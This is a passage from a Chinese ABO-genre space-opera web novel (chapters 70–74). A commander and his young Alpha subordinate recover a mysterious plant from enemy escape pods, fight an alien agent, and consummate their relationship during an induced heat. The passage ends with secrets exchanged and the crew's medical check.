这个年轻的Alpha站在他面前，态度谦卑又强势，每一个字都说到最关键的地方，让闻铮根本无从反驳。 他瞥了一眼那两个逃生舱，确实飞往了两个方向。 没有时间再犹豫，他迎着裴简珩那双湛蓝色的眼睛，被他说服：“批准。” 两分钟后，他们到达破晓号载有侦查子艇的3号甲板，两个人最后望向了对方，闻铮犹豫了一下，还是伸出手轻轻拍了拍裴简珩的肩膀，低声道：“保护好自己。” 说完，他钻进了侦查子艇1号。 再一分钟后，破晓号的3号舱门打开，两艘侦查子艇在眨眼间被弹出，瞬间又隐于周遭黑暗之中。 …… 无垠的太空，万籁无声。 在支离破碎的星舰碎片中，两艘肉眼和普通星舰扫描仪都无法捕捉的侦查子艇正在急速前行。 闻铮操作着侦查子艇的控制面板，这种小型的他会开，开得还很不错。 凯利斯正在把其中一艘逃生舱的动态定位发过来，闻铮快速地锁定到它，预估在2分钟之内就能追上。 军方能查到所有联邦商用舰的安全代码编号，有了这个编号，军用舰可以对联邦商用舰在紧急时刻进行最高权限接管，其中就包括相位穿梭，只是有范围限制，必须要在一定半径距离内才能完成。 所以闻铮和裴简珩现在要做的就是悄悄地靠近其中一艘逃生舱，再将自己相位穿梭过去，想办法活捉艾尼默人或人类beta，再带着蓟梨草一起回来。 ……看运气了。 闻铮驾驶侦查子舰进入了可相位穿梭的范围内，操作仪表盘强行接管商用舰的逃生舱，人工智能的声音在子舰中响起：“五秒后进入相位穿梭，5、4、3——” 举起相位枪做好作战准备，闻铮想，他希望自己运气好一点，蓟梨草就在他要去的这艘船上，这样裴简珩会安全很多，他对跟着他而来这四个人都肩负责任，所有人都要能安全回家。 相位穿梭中…… 相位穿梭完成。 再眨眼，闻铮眼前的景象已经从白色的穿梭子艇变成了银灰色的逃生舱，他迅速定位到了目标——一个高大的身影正背对他坐在驾驶座上，他好像感受到了什么，似要转过身来。 闻铮目光一沉，大踏步走上前去，相位枪稳稳地对准对方：“别动！” 眼前的幸存者正是那个蛇属的艾尼默人，他在看到闻铮那张脸的下一刻就反应了过来，咬牙切齿：“他妈的是你——杂种！你骗我！” 这张苍白瘦削、又偏偏漂亮到令人过目难忘的脸，不正是不久前和他们做交易的那个商人吗？！ “恭喜你，虽然脑子不怎么样，眼睛倒还算正常。” 闻铮冷冷道：“现在，从控制台前面移开，双手抱头跪下。” “做梦！”艾尼默人狞笑，他猛地朝闻铮扑过来，手里也牢牢攥着相位枪。 闻铮微一闪身，让艾尼默人扑了个空，他反手就用相位枪的枪托毫不留情地砸在了他的头上，一声闷响，艾尼默人的脑袋几乎被他开瓢，红色的血从额头中间流下来，让他的表情更加狰狞。 他朝闻铮举起相位枪，闻铮知道那把枪肯定已经设定了最高档位，这是一场你死我活的厮杀，活捉变成了不可能完成的任务。 他没有再细想，抬腿蓄力踹了过去，一脚把艾尼默人蹬到了控制台上，艾尼默人难以控制地吃痛呻吟——他妈的这个人类怎么这么难打！ 这次换闻铮扑了过去，他把艾尼默人死死地压在控制台上，眼睛都不眨一下地把他的右手腕硬生生掰断，艾尼默人大叫一声，相位枪无力地掉在了舱板上。 闻铮把那把相位枪一脚踢到反方向，双手按住艾尼默人脑袋两侧，用力向中间挤压，声音冰冷无情：“告诉我，你们到底用蓟梨草来做什么？” “啊啊啊啊啊啊啊——！” 艾尼默人感受着脑袋的剧痛，难以控制地痛苦大叫出声。 闻铮丝毫不手软，如果他今天问不出来，德瓦帝国的阴谋就会更加深一步，更多无辜的人就会为之死去。 他把手里那颗头微微抬起，又重重地砸在台子上，蛇属艾尼默人几乎晕了过去，他却咬紧牙关，赫赫笑着：“你、你无法……阻止！……一切……为了……更……更光辉的……复兴……哈哈！哈哈哈……！” 闻铮神色一凝，似乎预感到什么，只是他来不及阻止，下一秒，这个艾尼默人的头一歪，彻底失去了呼吸。 “……人工智能，扫描逃生舱，确认存活生命体。” “扫描中……” “扫描完成，存活生命体：1人。” 经精密射线扫描后，眼前这个艾尼默人已经彻底死了，不存在任何伪装的可能性。 闻铮眉头微皱，他从怀里掏出黑色手套，掰开了艾尼默人的嘴，果然，他的其中一颗门牙是镂空的，里面有紫色的物质，大概率是致死化学药物。 看来，这帮人在“但丁”费劲巴拉的自杀之后学精明了，开始留口子了。 而这个和“但丁”一样的蛇属艾尼默人，在临死之前的那句话，竟然也和“但丁”说的一模一样！—— 作者有话说：都来向小裴学习向上管理（不是 —— 那个……明天尽量早点来，我晚上十点存稿箱准时发布，大家懂我意思哦？[让我康康]《 》 70-80 第71章 别装了 “一切为了更光辉的复兴。” 这听起来像是某种愿景口号, 很有德瓦人的风格。 第一次星际大战，由德瓦人发起，战争口号为“远伐, 为了更伟大的帝国。” 在联邦毫无预兆的情况下, 德瓦人大获全胜，联邦死伤惨重。若非德瓦人受到能源限制无法再深入侵略, 不得不撤退，联邦早已不复存在。 第二次星际大战, 依然由德瓦人挑起，战争口号为“异族之祸, 我族之荣。” 他们似乎克服了能源上限问题，但遇到了第三军团之刃, 在西翼战场节节败退, 最终全线溃败, 不得不签下《战争修整与互不干涉条约》。 而现在, 他们看起来已经做好了挑起第三次星际大战的准备, 而这次的口号是什么？就是这句“为了更光辉的复兴”吗？ 可他们要复兴什么？ 为什么备受压迫的艾尼默人会甘愿为了奴隶主德瓦人毫不犹疑地牺牲？ 蓟梨草又在其中扮演着什么样的角色？ ……说到蓟梨草。 闻铮把手里那具尸体毫不留情地扔开，出于未雨绸缪, 他把这艘逃生舱开到了一块TPAX-2560的残骸后面，掩盖住行踪, 又在驾驶台上打开了防护罩，以免魁斗星盗一时兴起对他们开火。 之后，他捡起相位枪端在手上，开始巡逻这艘小型逃生舱，希望蓟梨草在这艘舰上。 说是小型逃生舱，但其实只是和主舰比起来算小型，单看它自己, 从驾驶舱到单人休息舱再到物资舱，一应俱全。 因为破晓号接管了TPAX-2560，闻铮现在有这艘逃生舱的最高权限，他先是进入了休息舱，虽然设施条件都还不错，但里面完全没有人待过的痕迹，这个艾尼默人估计都没时间来这里。 简单地扫了一圈，没有发现蓟梨草的痕迹，他又向物资舱出发。 物资舱的门看不到里面，闻铮深吸一口气，刷了虹膜信息，门在一瞬间被打开。 ——物资舱里面有一个很大的透明箱子，里面是一株一株的蓟梨草，在每一株蓟梨草的根部都包裹着袋装的营养液，似乎在滋养这些小野草。 闻铮看着眼前这个场景，眉心微皱。 他不敢轻举妄动，打算先把这些带回破晓号再说，但就在这一瞬间，透明箱子似乎察觉到前方有生命体，开始发出黄色的光，同时，一种外星语言响起。 ——是德瓦语。 闻铮的通讯配备了联邦通用翻译器，他能听懂是什么意思。 “扫描到生命体……” “请于五秒后提供生物信息密钥。” 生物信息密钥？ 闻铮神色冷凝下来，艾尼默人死得太早，现在上哪里去搞密钥？！ “重复，请于五秒后提供生物信息密钥，如无密钥，系统将进行自毁设置，5、4——” “——该死！” 闻铮难得地骂了句脏话，灵光一闪，死马当活马医地赌了一把，他把手套上沾着的，属于那个蛇属艾尼默人的血狠狠地按在了透明壁上！ “2——密钥通过，屏障已打开。” 闻铮：“……” 什么东西，还真行啊。 他脸上挂了两条黑线，下意识地踏前两步去观察这些蓟梨草，却在这个瞬间敏锐地察觉到了异样！ 他的后颈，那处3%残缺的腺体，在屏障消失的一瞬间变得异常滚烫！ 闻铮的大脑“嗡”的一声，在轰鸣过后，他瞬间失去了所有意识！ …… “破晓号呼叫裴简珩，裴简珩！你能听见吗？” 凯利斯的声音从耳麦里传来，裴简珩回应：“可以听到，怎么了？” “你那边什么情况了？蓟梨草在你那艘逃生舱上吗？” 裴简珩瞥了一眼不远处蛛属艾尼默人血肉模糊的尸体，又垂眼看了看自己手上的血，淡淡道：“不在，应该在闻哥去的那艘逃生舱上。” “那就不对劲了，”凯利斯语气有些忧虑，“我刚刚呼叫闻哥，但他那边没有任何回应。我尝试把他相位穿梭回来，可那艘逃生舰开启了防护罩，我没办法实施传输！” 裴简珩神色一冷，立刻道：“我去找他。” “你怎么找？”凯利斯一怔，“有防护罩在，我不能把他相位穿梭回破晓号，同样的，你也不能把自己相位穿梭到他那边去啊？” “自动相位穿梭不行，手动可以。” 裴简珩脑子转得很快：“虽然手动有距离限制，但我可以驾驶这艘逃生舱离闻哥近一些，只要进入到手动范围内，我就可以强行登陆。” 凯利斯犹豫了一下，舰长不在，他作为大副需要做出所有决定，咬咬牙，他同意了裴简珩的计划。 毕竟闻铮有命令在先，在魁斗星盗没有离开之前，破晓号不能踏入中心战场，万一魁斗星盗注意到了破晓号了呢？凯利斯也需要对赫尔和黎晓的生命负责。 裴简珩断开和破晓号的通讯，转而切入了和闻铮的通讯：“闻哥，闻哥你能听到吗？” 半晌，没有任何回复。 裴简珩收紧了腮。 理智上他知道，一个艾尼默人而已，不会是第三军团之刃的对手，但感情上，他对闻铮的担心已经漫过了所有其他考量，他此刻只想登上那艘逃生舰找到闻哥，越快越好！ 他坐到驾驶位，操纵着这艘小型逃生舰在TPAX-2560的残骸里飞行，借着残骸的遮挡靠近闻铮那艘逃生舰，刚一进入手动相位穿梭范围，他立刻站起身，输入了相位穿梭座标和各项其他操作，做好战斗准备，3秒后就进入了相位穿梭！ 3、2、1！ 再一个眨眼，裴简珩已经出现在了另一艘逃生舱的驾驶室！ 他端起枪侦查四周，发现空无一人，只有一具尸体趴在地上，裴简珩一瞬间觉得自己连血都冰凉了，直到看到尸体的衣服并不是闻铮的，他这才松了一口气。 此外，驾驶舱没有其他人了。 艾尼默人已经死了，闻哥呢？ 裴简珩的心又悬到了嗓子眼，开始摸索着寻找闻铮的身影。 直到他看到了物资舱大开的门。 遥遥一看，物资舱的地上躺着一个人。 裴简珩急急跑过去，果然是闻铮！ “闻哥？闻哥？！” 不管裴简珩怎么呼唤，闻铮依然是晕厥的状态。 裴简珩刚要呼叫凯利斯把他们相位穿梭回去，突然察觉到了哪里不对。 他闻到了非常浓郁的、冷空气的气息。 他知道这是什么，这是闻铮的信息素。 怎么会浓度这么高？高到完全不正常！ 裴简珩似有所感，伸手朝闻铮的后颈摸去，果然摸到了极度炙热的一块皮肤，那里平时都是平滑到几不可见的，现在却红｜肿到凸｜起。 红｜肿发热的腺体，浓度极高的信息素…… 裴简珩苦笑，喃喃道：“……您发|情了……一年过去了，您的信息素还这么不稳定吗……” 他看着昏迷不醒的闻铮，如果他现在让凯利斯把他们相位穿梭回去，随便哪个有眼睛的人，看到闻铮现在的样子都知道他是一个正在发|情的Omega！ 而等到他清醒过后，苦苦掩盖了这么久的秘密被在不清醒的时刻一朝曝光，又叫闻铮如何自处？ 闻铮是裴简珩心中，远在神坛上高高悬挂的月亮，谁都不能把他拉下来，就算是裴简珩自己，也不行。 裴简珩拨开了闻铮后颈处被汗沾湿的长发，珍而重之地轻轻吻了吻那块灼｜热的皮肤，闭着眼睛咬了上去。 远超常人4倍的S级Alpha信息素注入到了Omega残缺不全的腺体中，这种刺激让闻铮倏地睁开了眼睛，对中枢神经的刺激让他眼前一片白茫茫，眼神涣散，许久才回过神来。 “你——” 闻铮刚刚能看清东西，就看到裴简珩那张俊朗的脸出现在他面前，担忧又关心地看着他。 “闻哥！您没事吧？” 闻铮不傻，哪怕处在这么一个意识模糊的情况下，他也能感受到后颈处正在传来被咬过的刺痛，和从那里注入进来，宛如冰水一般的Alpha信息素。 他隐隐约约知道自己居然发|情了，但他不明白的是为什么？！ 上一秒他还没有任何异样，下一秒，被他压抑多年的发|情｜期席卷而来，狂暴到让他毫无还手之力。 难道是……蓟梨草？ 然而，他现在的大脑已经根本无法过多地思考这些理性的问题，他能感觉到身体里Omega的信息素在疯狂叫嚣着不够、不够、还不够！ 他知道，只是后颈一个啃｜咬的临时标记根本对他此刻的身体来说无济于事。 他不能、决不能、以这样的情况回到破晓号上，他突然庆幸，此时此刻在他面前的是裴简珩。 他们早已经上过一次床了，这使得闻铮接下来的决定，似乎也没有那么难做。 他打开了耳麦，尽力让声音保持平稳：“……闻呼叫破晓号。” “谢天谢地！”凯利斯听起来长舒了一口气，“裴简珩和你汇合了对吗？请解除防护罩，我现在就把你们相位穿梭过来！” “……不，不要。” 闻铮有些吃力道，“我们这边有些临时状况，在我给到明确指令之前，不允许擅自进行相位穿梭！” “什——闻哥？！” “隐藏好破晓号的踪迹，不要靠近这边，听明白了吗？这是命令！” “……明白。” 闻铮呼出一口气，把耳麦摘了下来随手扔到一边。他伸出手，同样的动作对裴简珩也做了一遍。 银发的年轻Alpha瞪大双眼，看着他的动作，显然已经懵了。 “……别装了。” 闻铮甚至笑了一声，他抬手环住了裴简珩的脖颈，凑近了Alpha，在他耳边咬着牙道：“你早就知道一年前那个人是我，不是吗？” 虽然他刚刚昏了过去，不能动弹，但五感却还是清晰的。他听到有人来，也听到了裴简珩的呼唤，闻到了他身上的檀木香气味，感受到他咬在自己后颈上的触感。 当然也听到了那句：一年过去了，您的信息素还这么不稳定吗。 那些你来我往的试探，那些似是而非的态度……在这一刻都揭开了全部的面纱。 裴简珩，他从来、一直、什么都知道—— 作者有话说：耶耶 最喜欢这种情节了[熊猫头] —— 感谢珍白雪w、34402499和秦长歌的营养液！掉落耳麦x1！ 第72章 要做就赶紧做！ 裴简珩感受着闻铮主动贴上来的嘴唇, 脑袋里面一片空白。 闻哥的嘴唇因为发｜热而干涩，甚至还有些干皮皱起，但触碰到的一瞬间, 裴简珩只觉得有一股电流从天灵盖一路闪过了全身, 让他竟然开始颤栗。 同时，他也听到了闻铮那句从牙缝里嚼出来的话——你早就知道！ 裴简珩有些心虚又有些终于不用再演下去的松畅, 让他忍不住死死地回抱住闻铮，像要把他揉进自己的骨血里一般, 他有些委屈地在闻铮耳边低喃：“如果我不这样，闻哥根本就不会给我机会的吧？我来到7号星的第一天, 您就一定会想方设法地把我弄走的！” 闻铮听着这个年轻Alpha的控诉，恍惚间感觉怎么被倒打一耙了。 不过他也没说错, 如果裴简珩在一开始就表明他知道一年前和自己上过床的人就是闻铮, 他根本不会给裴简珩一丁点的机会。 裴简珩真实的性格、他的人品、他的能力、他的忠诚……不会有任何机会被闻铮看到, 更不要说能像现在这样被他认可和信任。 但这并不代表闻铮没对他的有意隐瞒怀恨在心。 闻指挥官恨恨地在裴简珩右侧脖颈用力地咬下去, 其用力程度, 饶是裴简珩这种身体机能，都忍不住倒吸了一口凉气。 “这事没完, 我后面再和你算账。” 闻铮松开了嘴，甚至唇边还有一丝血痕。 他感受着身体里不肯平息的浪潮, 微微抬头看着裴简珩的脸，低低喘了几口气，用最后的理智道：“我也许在很多事情上都不择手段，但我不想逼迫下属和我上|床。” “裴简珩，如果你不想做，就用相位枪电晕我，把我带回去交给赫尔, 只要你为我保守这个秘密，我保证，在这份工作里我不会对你有任何偏见。” “如果你——” 他的话甚至没有说完。 眼底已经发红的裴简珩，简直宛如压抑了许久的野兽出笼，他把闻铮抵在了舱壁上，肆意地亲|吻、又珍而重之地抚|过他身上的每一寸皮肤。 “闻哥……闻哥……” 裴简珩在他耳边一声接一声地呢喃，念得闻铮头皮发麻，忍不住一手盖住他的嘴：“……别喊了！要做就赶紧做！” 裴简珩的下半张脸被闻铮的手盖住，只能睁着那双蓝汪汪的眼睛，温柔又缱绻地注视着他，好像终于找到了他人生中过去、现在和未来的唯一锚点。 而被他用这种看待世界上最珍贵宝物的眼神看着，闻铮竟然一时之间也有一种错觉，好像他们不是只上过一次床的一|夜|情对象、上司和下属、或者最多朋友的关系，而是一对彼此深爱着的爱人。 在舷窗外浩渺宇宙和星辰的照耀之下，裴简珩虔诚地吻过他身上十几条或深或浅的疤痕，在其中一条最深的、几乎横穿了心脏到肚脐的疤痕上面逗留许久。 闻铮抓住他的头发，把他的脸仰起来，急喘几下，低低道：“别再……我忍不住了。” 裴简珩仰着头从下而上的看他，倏地把他紧紧地拥入怀中，一手探了下去。 …… “你——你差不多……得了……” “嘘，闻哥，再一次。” “裴……裴简珩！你……啊！” …… 另一头，凯利斯在只有他自己的舰桥上，急得团团转。 他一边要盯着主屏幕上魁斗星盗的动静，一边还要分精力去看闻铮那架逃生舱是否有什么异样，心里还忍不住担心，到底是什么突发情况，能让闻哥拒绝现在被相位穿梭回来。 人工智能的声音突然响起：“首席医疗官申请进入舰桥。” 凯利斯转过头去，浑身雪白的艾尔文人出现在这里，让他有些惊讶：“怎么了医生？” “破晓号上一共就这么几个人，我担心你忙不过来，看看有什么我能帮上的，反正医疗舱现在也没什么事。” 凯利斯摇头：“没关系，闻哥让我要保护好你和黎晓，你先回去吧，这里我可以搞定——啧，倒是也不一定。” 赫尔被他逗笑了一瞬：“无意冒犯，我曾经上过四次地面战场和三次太空战场，我不需要你们的保护。” “我知道，”凯利斯有些无奈地解释，“闻哥和我都没有质疑你能力的意思。只是你和黎晓本不该参与到这些危险中来，闻哥虽然嘴上不说，但他其实心里很愧疚，他不得不因为缺人而把你们卷进来。” “这才是对我的冒犯，上校。” 赫尔淡淡道：“我确实离开了星际舰队，也确实退役了。但我曾经是个战士，就永远都是战士。德瓦人憎恨排外一切对他们有威胁的种族，他们要通过战争和武力消除一切威胁，人类是，艾尔文人也是，联邦的所有其他生命种族都是。” “德瓦帝国挑起第三次星际战争的目的昭然若揭，”赫尔那双淡紫色的眼睛直直地注视着凯利斯，“这艘星舰上一共有五个人，每个人都曾经被联邦星舰军队作为战士培养，哪怕是黎晓也一样。” “……虽然不想打扰你们，但既然提到我了，我也就稍微提醒一下，我能听到哈，你们全舰广播频道没关。” 黎晓的声音从外放里幽幽传来，显然听到了凯利斯和赫尔的全部对话。 “不过我还是要说一下，我赞同医生的话。” 年纪最小的Omega停顿了一下，才又接着说：“我确实对星舰军校的感情很复杂，也恨星际舰队那帮老不死的Alpha特权阶级，但这些都是联邦或人类的内部矛盾，有这些矛盾的前提是联邦存在，人类存在。” “你和闻哥都无需考虑这么多，我曾经将联邦星舰的徽章戴在肩上，我就理应为联邦牺牲，义不容辞。” 黎晓的声音在空荡荡的舰桥里有微弱的回声，在回声消失殆尽前，凯利斯静默。 这个看似一身反骨的“非典型”天才Omega，因为性别偏见失去了一切光辉的未来，却仍然能说出这番话来，这不得不让他肃然起敬。易地而处，他也不确定自己能不能做出同样的决定。 “所以，我们可以帮你做点什么？” 赫尔对凯利斯微笑，把话题拽了回来。 凯利斯闭了闭眼，再睁开的时候已经有了决断。 “……首先，黎晓，你那边还能不能定位到二十万现金的坐标？” 黎晓那边操作了几下，沉吟：“可以是可以，但数据好像不太对，我把坐标发给你了。” 凯利斯看了看仪表盘读数，满头雾水：“这是什么坐标，按照读数来看，这袋子钱已经到隔壁星系去了？” “按这个坐标读数来看，这笔钱应该在魁斗星盗船上。”赫尔也看到了那个读数，“你结合三维仪表盘看，魁斗星盗船外壁是用独特的材料制成的，对定位有削弱作用，所以定位数字会按照0.723指数锐减，如果不考虑指数影响，位置会有偏移。” 凯利斯惊愕地看向他：“你不是医生吗？！这你也懂？” “战地医生。”赫尔纠正他，“我曾经在战场上救过一个魁斗人，和她聊了三天，她教会了我很多魁斗星盗的冷知识。” 凯利斯挑眉：“魁斗星盗很少和其他种族的人做朋友，你们现在还有联系吗？” “她死了。”赫尔淡淡道，“死在了第三天下午德瓦人的第六次轰炸中。” ……凯利斯没有再说话。 “回到定位上来，”赫尔把话题转开，“这么看，魁斗星盗已经登陆TPAX-2560把钱拿走了。如果是这样，财物一拿到，这帮星盗应该很快就要离开了。” 凯利斯舒了一口气：“虽然裴简珩的钱拿不回来，但起码我们安全了。” 赫尔随意地摆了摆手：“这点钱，他根本不在乎。” 凯利斯：“……我真的好奇很久了，他到底什么背景啊？” 这么年轻，但有钱到令人发指，身体机能又远超S+级Alpha，还有令人难以相信的良好教养，上过战场，有他这个年龄不应该有的军衔……到底啥人啊？？ 赫尔倒是嘴很严：“我不能说，我也不知道他为什么会出现在这里，但你放心，他对你们要做的事绝对是百利而无一害。” 他不愿意说，凯利斯也不再进一步打探。他让破晓号保持低能量水平运行着，防护罩和隐形罩也一点都不敢松懈，以免被魁斗星盗扫描到，就这么心急如焚地干等着。 五个小时后，那艘心脏一样的魁斗星盗船倏地消失在了众人眼前。 凯利斯马上点开了扫描仪，这里已经搜索不到魁斗星盗船的能量信号了。 打劫结束，他们真的离开了。 凯利斯和赫尔对视一眼，都松了一口气。 金发大副又打开了通讯，试图接通闻铮的频道，连续呼叫了五次，都无人应答。 他皱着眉头，又打给了裴简珩，再打了六次以后，终于被接通了。 凯利斯精神一振，连忙道：“裴简珩！你们那边怎么样了？” “喂、凯利斯……什么情况了？” 虽然声音沙哑到像砂纸一样，但凯利斯和赫尔还是能清楚地听到——那是闻铮的声音—— 作者有话说：耶！ 恭喜小裴！贺喜小裴！19w字终于追到老婆了！（其实也还没完全……但反正快了！） 后面感情发展会蹭蹭蹭宛如进入空间迁跃一样！ 谢谢大家见证小裴和闻哥的阶段性突破！本章评论会随机掉落小惊喜>< 第73章 我有一个提议 凯利斯：“……嗯？” 他低头确认了一下频道号和ID号, 没错啊，这是裴简珩的通讯啊？ 他迷茫地看了一眼赫尔，再次犹豫地试探：“呃, 闻哥？” “是我。” 闻铮的声音沙哑到说两句就要停一下：“我的耳麦……出了点问题。” 凯利斯也没多想, 只是抓紧时间汇报情况：“闻哥，魁斗星盗已经走了, 把二十万现金也一起带走了，目前还算安全。你们那边怎么样了？可以把你们相位穿梭回来了吗？” 闻铮沉默了一下, 方才道：“知道了，嘶——” “怎么了？” “……没事。”闻铮轻咳一声, “我这边还有点残局需要收拾，再给我一小时, 我们会带着蓟梨草一起回到破晓号上。” 凯利斯松了口气：“收到。” 通讯挂断后, 他心里一块大石放下来, 一抬眼却看到赫尔意味深长的表情, 一怔：“你那是什么表情？” “没事~”首席医疗官有些难以控制自己恶趣味的嘴角和八卦的表情, 艾尔文人对于情绪的接受和处理很敏感，他总觉得裴简珩和闻肯定发生了什么事情, 隐隐地心底有点兴奋，让他说话的尾音都有点颤抖。 凯利斯奇怪地看他一眼, 也没再问什么，他只关心自己的朋友们还要多久才能收拾好残局。他们什么时候能囫囵个儿地回到破晓号上，他什么时候才能真正地放下心来。 而此时此刻，他的上司确实正在收拾“残局”。 这场发|情|期来的轰轰烈烈，摧枯拉朽一般毁灭了他的理智，而在他彻底进入发|情|状态后，哪怕只剩下3%的残缺腺体, 散发出的信息素也让裴简珩也迅速进入到了Alpha的发|情|状态。 裴简珩那可是超过Alpha平均水平四倍的身体机能，一般人还真受不了，就连闻铮这种从战场上厮杀下来的Omega，在四次以后也要忍不住低声讨饶了。 还真是年轻人…… 闻铮半躺在驾驶舱的操控台上，感受着腰间和下面的酸|胀抽搐，在心里感叹。 是自己真的岁数大了，体能不行了么？ 和他比起来，裴简珩简直是容光焕发，那种神色餍|足之态，让闻铮恨得牙痒痒，很有种想往那张俊朗的脸上揍一拳的冲动。 Alpha套上一件外套，又凑过来亲了亲他：“闻哥，还好吗？” 闻铮无力地翻了个白眼：“……你把我弄死算了。” 那双蓝汪汪的眼睛弯了起来，忍不住又在闻铮的下颌和脖颈上啄了几下，直到闻铮不耐其烦地把他推开。 A德优秀的Alpha刚刚在这艘逃生舰上找到了一次性清洁用品，轻手轻脚地帮闻铮收拾，闻指挥官连一根手指都懒得动，任由他搞来搞去。 本来清洁一下也不需要很久，但裴简珩实在是越看闻铮越喜欢，就连浑身上下的伤疤也止不住地怜爱心疼，清理一会儿就要亲两下，闻指挥官一边对他磨磨唧唧的效率搞到无语，一边其实心里也有第一次被如此珍视的几分无措。 两相结合下，闻指挥官决定一言不发地装死。 过了得有半个小时，两个人终于恢复人模狗样的形象。除了衣服有些褶皱、发型微微凌乱以外，任谁也看不出来，这两个人在过去的五个多小时里，在这艘逃生舰上做得有多激烈。 从物资舱到驾驶舱，甚至舷窗外就是深邃无边的宇宙深空，这种刺激感叠加发|情|期和高度匹配的信息素，不激烈才怪…… 闻铮把衬衫领口最后一颗纽扣扣上，似乎咔哒一声是一个开关，让他瞬间回到了那个理智的指挥官。 他对裴简珩抬了抬下颌：“我们需要离蓟梨草远一点，以免再次被影响，所以不能带着它相位穿梭。” 别到时候又做起来了…… 裴简珩温柔地注视着他，嘴角的弧度怎么也压不下来，轻声道：“魁斗星盗已经离开了，我可以开着这艘逃生舰回到破晓号上。” 闻铮“嗯”了一声，扬声道：“人工智能，清新舱内空气。” “收到，正在更换舱内空气。” 在半分钟内，逃生舱的空气焕然一新，原本混杂着欢|爱气息的空气被迅速地剥离替代，让裴简珩眼底流露出了几分遗憾。 他注视着闻铮瘦削的背影，背上的那双蝴蝶骨翩然若飞，纵然瘦骨嶙峋，又有着无法被摧折的倔劲，让他很想怜爱地摸一下，再摸一下。 闻铮坐到了副驾驶位，看着有些出神的裴简珩挑眉：“你还愣在那里做什么？我们需要把这艘逃生舱开回破晓号，舵手。” 舵手两个字让裴简珩如梦初醒，他脸上浮现出一瞬的纠结犹豫之色，最终也还是没有问出口，只是应下命令，坐在驾驶位开始准备返航。 逃生舱的位置并不宽裕，驾驶位和副驾驶位更是要几乎小臂紧贴才行。 闻铮感受着左手臂边那个仍稍显烫意的肌肤温度，有些不自在，轻微地撤回了一点。 即使他们刚才做得天翻地覆，但在穿上衣服以后，即使是轻微的触碰，闻铮仍然有几分不愿流露出来的赧然。 “开始返航，预估用时12分钟。” 裴简珩轻声道，他没有错过闻铮小小后撤手臂的动作，但也没说什么，他能猜到闻铮现在心里应该有点乱的。 三分钟后，闻铮低哑的声音响起：“你刚刚发现了我掩盖十几年的秘密。” “裴简珩，告诉我，我要怎样才能完完全全地、毫无保留地信任你？” 死寂迅速地在这狭小逼仄的空间里蔓延，一时之间，两个人都没有再说话。 半晌，在他们已经能肉眼看到破晓号的时候，裴简珩才道：“我知道您认为我身上的秘密很多，所以哪怕您内心是认可我的，也很难放下心防、真正地信任我。” 闻铮操作仪表盘引航的动作一顿，侧脸看向他，示意他继续往下说。 裴简珩闭了闭眼，方才道：“您可能已经注意到了，我的身体机能、五感、信息素水平都远高于正常值，是Alpha平均水平的4倍，甚至比联邦目前已知的最高S+级Alpha还要高出2.62倍。” 闻铮轻轻颔首。 这很难让人注意不到，而裴简珩似乎也没有在他面前遮掩的打算。 他脸上没有任何表情，甚至带有一丝几不可见的笑，只是那个笑容并没有任何的温度：“……因为我的基因被改造了。” 闻铮想都没想，断言：“不可能，联邦严格禁止任何形式的基因改造工程！” 唯一一个尝试过的人叫程迹，被军事法庭判处了四千七百二十一年刑期！ “那是因为他们无论怎么做试验，都无法成功地改造出他们想要的基因战士。”裴简珩的音调没有任何起伏，就像是在说一个和他无关的故事，“联邦现在的掌权阶级也许有着这样或那样令人诟病的地方，但他们的底色仍然有人性温度的存在。” “在失败了无数次以后，联邦军部发现，只有泯灭人道主义的改造，才能得到他们想要的战力。” “——比如我。” 这三个字一出来，闻铮下意识地一抖，鸡皮疙瘩爬满了他的脊背，甚至让他失态地惊声道：“你是说——” 裴简珩却没有在这个话题上继续深入，有些事情他不是不愿意告诉闻铮，只是闻铮肩上背负的东西已然太多太重，他不希望再去加重他的负担。 因为他很清楚，在闻铮看似狠绝的行事手腕下，藏着的是一颗柔软的心。哪怕他们现在除了肉|体以外没有更深层次的关系，单就“得力下属”这一条，就足够让闻铮为他投掷精力和付出。 “目前，联邦的基因改造战士有且仅有我一人，”裴简珩道，“这是星舰军队的最高级别的机密。” 闻铮深吸了一口气，伸手按下了减速的按钮，在回到破晓号上之前，他们得把这个话题说清楚。 “你现在把这个最高机密告诉了我，是打算和我交换秘密？” “不全是。” 裴简珩说：“因为基因改造，我的信息素和激素也时常紊乱，我一直靠几倍的Alpha抑制剂和镇定剂维持，但这也对我的生理情况造成了负面影响。如果您有疑虑，可以去问赫尔，他对我的身体状况很清楚，当年他也在这项计划内。” “也因此，没有Omega能承受得住我的信息素和机能——” 闻铮似有所感，喃喃道：“——除了我。” 裴简珩默认。 闻铮确实万万没想到，裴简珩居然和自己一样，信息素和激素也很错乱，同样到了身体所能承受的临界点。 “既然如此，”闻铮喉头滚动了一下，缓缓道：“我有一个提议。” …… 一小时后，随着逃生舱安全驶入破晓号，操心的大副终于把心放回了它该在的位置上。 闻铮和裴简珩从甲板上一前一后地走出来，空旷的走廊里只有他们两个人。 从刚才闻铮提出那个提议开始，裴简珩的气压就有点低。 他虽然同意了，但闻铮能感觉到他好像不是很开心，所以闻铮也愿意撤回这项提议，让裴简珩当自己没说过。 没想到Alpha在下一刻又激烈地反对和控诉闻指挥官这种出尔反尔的行为，让闻铮惊觉自己岁数大了，实在是有点难理解现在年轻人的心理活动。 “你先回去休息一下吧，”闻铮看了一眼他皱皱巴巴的衣服，委婉道，“两个小时后在舰桥集合。” 裴简珩把胡思乱想甩开，摇摇头：“我先把破晓号开到一个安全的位置。” “我刚才看了破晓号的坐标，这里已经是中立区边缘，我让凯利斯设定了飞往最近联邦行星的自动驾驶航线，暂时用不上你这位能干的舵手。” 闻铮的声音有点无奈，也不知道是因为刚刚重新恢复了肉|体|关系，还是互相交换了秘密，他在裴简珩面前比之前还要放松一些，甚至对这位年下Alpha还有点自己都没意识到的劝哄。 裴简珩还是固执地有些没动。 什么啊，闻哥都没回去休息，怎么自己就要休息啊？？ 到底谁是Alpha啊，这不对的吧？！ 这时，他们所在的走廊配备的广播响起：“星舰守则第163条，外出任务归队后，参与人员须第一时间进行身体检查，经过医疗官签字后方可返岗。” 艾尔文人的声音在空旷的走廊里甚至有回声：“闻，裴简珩，请立刻到医疗舱进行身体状况检查。”—— 作者有话说：小剧场： 赫尔：磕到了=3= —————— 感谢珍白雪的地雷！掉落侦查子艇模型x1！ 感谢珍白雪、34402499的营养液！掉落蓟梨草标本x1！ 第74章 我只爱他 艾尔文医疗官早早准备好了所有检查和治疗设备, 就怕这两位祖宗带着浑身的伤回来。 结果当他们踏进医疗舱的时候，赫尔倒是真的无语了：“你俩是真能打啊，除了一点皮外伤, 什么事都没有。” 